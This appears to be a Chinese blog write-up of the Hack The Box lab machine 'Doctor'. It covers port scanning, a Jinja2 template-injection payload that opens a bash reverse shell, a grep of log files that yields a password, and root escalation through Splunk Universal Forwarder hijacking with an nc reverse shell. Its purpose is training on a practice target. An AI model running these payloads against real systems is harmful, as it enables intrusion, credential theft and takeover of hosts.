HTB-靶机-Doctor
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.209
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
信息枚举收集 https://github.com/codingo/Reconnoitre 跟autorecon类似 autorecon 10.10.10.209 -o ./Doctor-autorecon masscan -p1-65535 10.10.10.209 --rate=1000 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//') nmap -Pn -sV -sC -p$ports 10.10.10.209 sudo nmap -sS -sV -T4 -O -A -v 10.10.10.209 nmap自动探测工具 https://github.com/21y4d/nmapAutomator 爆破目录新工具 https://github.com/phra/rustbuster
开放了3个端口,先访问80端口,并追加hosts文件
追加hosts文件 sudo -- sh -c "echo '10.10.10.209 doctors.htb' >> /etc/hosts"
随手注册一个账号cntf,密码也是这个,邮箱是cntf@qq.com
注册完成之后登录进去发现一个New Message
通过测试点击这个New Message功能,发现存在SSTI模板注入漏洞,可参考:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---basic-injection
注入完成触发漏洞在访问的页面上查看网页源代码发现可以通过访问http://doctors.htb/archive 来触发验证漏洞是否成功执行
在New Message功能处插入反弹shell代码,下面一行随便写
对应反弹shell的代码 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.16/8833 0>&1'").read()}}{%endif%}{%endfor%}
成功反弹shell,查看home目录有两个用户,一个是web,另一个是shaun ,然后执行了一把id命令
发现用户web隶属于adm组,属于此组的用户用于系统监控并对/var/log目录下的文件进行监控,过滤查询下password关键字
grep -R -e 'password' /var/log/
得到下面结果 /var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
使用上面重置密码功能所使用的email参数当作密码试试
搜集下目标靶机上的信息,最终发现开放8089端口的splunk服务是root权限运行,同时也知道此端口可以开启转发器,具体可参考:
https://community.splunk.com/t5/Getting-Data-In/Can-someone-please-explain-to-me-why-Splunk-Universal-Forwarder/m-p/180067
可以通过劫持操作完成提权root用户参考:https://airman604.medium.com/splunk-universal-forwarder-hijacking-5899c3e0e6b2
对应的exploit代码:
https://github.com/cnotin/SplunkWhisperer2
相关验证测试操作
git clone https://github.com/cnotin/SplunkWhisperer2 cd SplunkWhisperer2/PySplunkWhispherer2 python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.16 --payload id 上述利用不成功,因为没有一个有效的账号和密码 验证测试是否能够正常利用 python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.16 --username shaun --password Guitar123 --payload id
反弹shell python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.16 --username shaun --password Guitar123 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 8822 >/tmp/f' nc -vlnp 8822
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?